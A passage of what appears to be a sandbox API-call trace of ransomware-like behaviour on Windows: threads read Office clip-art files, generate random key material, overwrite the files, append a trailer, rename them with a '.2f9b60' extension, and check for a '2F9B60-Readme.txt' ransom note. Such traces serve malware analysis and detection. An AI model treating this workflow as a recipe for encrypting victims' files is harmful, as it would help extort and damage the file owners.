(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ebd170 [0106.598] ReadFile (in: hFile=0x1590, lpBuffer=0x41e9f0f0, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x2d3bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesRead=0x2d3bfbf0*=0x38cc, lpOverlapped=0x0) returned 1 [0106.606] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.607] WriteFile (in: hFile=0x1590, lpBuffer=0x41ebd170*, nNumberOfBytesToWrite=0x38cc, lpNumberOfBytesWritten=0x2d3bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesWritten=0x2d3bfbf4*=0x38cc, lpOverlapped=0x0) returned 1 [0106.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0106.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced84c0 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8880 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.630] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.630] WriteFile (in: hFile=0x1590, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d3bfd10, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d3bfd10*=0x10a, lpOverlapped=0x0) returned 1 [0106.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0106.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0106.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.646] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="fa") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="6d") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="4d") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="9c") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="49") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="d4") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="03") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="fc") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="af") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="2b") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="68") returned 2 [0106.646] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="3f") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="a1") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="f9") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="e6") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="92") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="86") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="b3") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="67") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="ba") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="5d") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="47") returned 2 [0106.647] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="31") returned 2 [0106.647] RtlInitAnsiString (in: DestinationString=0x2d3bfd88, SourceString="fa6d4d9c49d403fcaf2b683fa1f9e69286b367ba5d9a4731" | out: DestinationString="fa6d4d9c49d403fcaf2b683fa1f9e69286b367ba5d9a4731") [0106.647] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d3bfd58, SourceString="fa6d4d9c49d403fcaf2b683fa1f9e69286b367ba5d9a4731", AllocateDestinationString=1 | out: DestinationString="fa6d4d9c49d403fcaf2b683fa1f9e69286b367ba5d9a4731") returned 0x0 [0106.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5b70 [0106.647] RtlFreeAnsiString (AnsiString="f") [0106.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffe10 [0106.648] wcscat (in: _Dest=0x204ffe10, _Source="fa6d4d9c49d4" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4" [0106.648] wcscat (in: _Dest=0x204ffe10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60" [0106.648] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60", NtPathName=0x2d3bfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278fb0 [0106.648] NtSetInformationFile (FileHandle=0x1590, IoStatusBlock=0x2d3bfdd0, FileInformation=0x20278fb0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278fb0) returned 1 [0109.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291000) returned 1 [0109.542] NtQueryInformationFile (in: FileHandle=0x1590, IoStatusBlock=0x2d3bfd98, FileInformation=0x2d3bfda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d3bfd98, FileInformation=0x2d3bfda8) returned 0x0 [0109.542] NtSetInformationFile (FileHandle=0x1590, IoStatusBlock=0x2d3bfd98, FileInformation=0x2d3bfda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe10) returned 1 [0109.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b70) returned 1 [0109.548] FlushFileBuffers (hFile=0x1590) returned 1 [0109.549] CloseHandle (hObject=0x1590) returned 1 [0109.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffe10 [0109.554] wcscpy (in: _Dest=0x204ffe10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.554] wcscat (in: _Dest=0x204ffe10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe10) returned 1 [0109.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cde0) returned 1 Thread: id = 729 os_tid = 0x1248 [0096.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0106.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF", dwFileAttributes=0x20) returned 1 [0106.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15ac [0106.547] GetFileSizeEx (in: hFile=0x15ac, lpFileSize=0x2d59fb20 | out: lpFileSize=0x2d59fb20*=20554) returned 1 [0106.547] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x5046, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.547] ReadFile (in: hFile=0x15ac, lpBuffer=0x2d59faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d59fae8, lpOverlapped=0x0 | out: lpBuffer=0x2d59faa0*, lpNumberOfBytesRead=0x2d59fae8*=0x4, lpOverlapped=0x0) returned 1 [0106.552] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.552] NtQuerySystemTime (in: CurrentTime=0x2d59f9e0 | out: CurrentTime=0x2d59f9e0*=132462177120466000) returned 0x0 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x2726ac02 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x7ef92366 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x25eefaa1 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x24c26418 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0xcebd6b6 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x7bf062d7 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x6a54f60e [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x4a2e7690 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x6bc3f68e [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x7dd96810 [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x4335841f [0106.552] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x57db8637 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x4f50b06 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x77408209 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x5c3d1d51 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x338e1005 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x224fd260 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x7fd660eb [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x558f16f0 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0xca30a2d [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x75a8e5c0 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x3a2bcf7 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x3b3f005 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x3a9b93dd [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x2ed2f2c [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x19f72ca1 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x1d3adbc5 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x3393460d [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x1bd6ffed [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x7cbcbcb0 [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x1d20525f [0106.553] RtlRandomEx (in: Seed=0x2d59f9d0 | out: Seed=0x2d59f9d0) returned 0x3f47e79a [0106.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0106.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb9560 [0106.577] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.577] ReadFile (in: hFile=0x15ac, lpBuffer=0x41eb9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d59fa40, lpOverlapped=0x0 | out: lpBuffer=0x41eb9560*, lpNumberOfBytesRead=0x2d59fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0106.584] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eaa520 [0106.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.585] WriteFile (in: hFile=0x15ac, lpBuffer=0x41eaa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d59fa40, lpOverlapped=0x0 | out: lpBuffer=0x41eaa520*, lpNumberOfBytesWritten=0x2d59fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0161.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eaa520) returned 1 [0161.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb9560) returned 1 [0161.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a39b0 [0161.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0161.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0161.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0161.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a39e0) returned 1 [0161.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a39e0 [0161.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a10 [0161.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a40 [0161.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3a40) returned 1 [0161.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0161.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0161.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce14630 [0161.162] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.162] WriteFile (hFile=0x15ac, lpBuffer=0x1ce14630, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d59faf0, lpOverlapped=0x0) [0207.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0207.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0207.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf60) returned 1 [0207.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0xd6360 [0207.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0207.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf30 [0207.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf30) returned 1 [0207.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0207.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac720 [0207.563] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="41") returned 2 [0207.563] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.563] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.563] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="6c") returned 2 [0207.563] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.563] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.563] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="56") returned 2 [0207.563] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="16") returned 2 [0207.563] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.564] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.564] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="28") returned 2 [0207.564] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="71") returned 2 [0207.564] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="89") returned 2 [0207.564] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.564] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="10") returned 2 [0207.564] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="9e") returned 2 [0207.564] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.564] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="26") returned 2 [0207.564] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="ce") returned 2 [0207.564] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="4c") returned 2 [0207.564] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.564] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="54") returned 2 [0207.564] sprintf (in: _Dest=0x431ac74c, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.564] sprintf (in: _Dest=0x431ac74e, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.564] RtlInitAnsiString (in: DestinationString=0x2d59fb68, SourceString="411be76c1be756161aba2871893f109ec426ce4cf3543aba" | out: DestinationString="411be76c1be756161aba2871893f109ec426ce4cf3543aba") [0207.564] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d59fb38, SourceString="411be76c1be756161aba2871893f109ec426ce4cf3543aba", AllocateDestinationString=1 | out: DestinationString="411be76c1be756161aba2871893f109ec426ce4cf3543aba") returned 0x0 [0207.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9210 [0207.565] wcscat (in: _Dest=0x431c87c0, _Source="411be76c1be7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7" [0207.565] wcscat (in: _Dest=0x431c87c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7.2f9b60" [0207.565] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7.2f9b60", NtPathName=0x2d59fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\411be76c1be7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129ce0 Thread: id = 730 os_tid = 0x124c [0096.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0106.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF", dwFileAttributes=0x20) returned 1 [0106.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 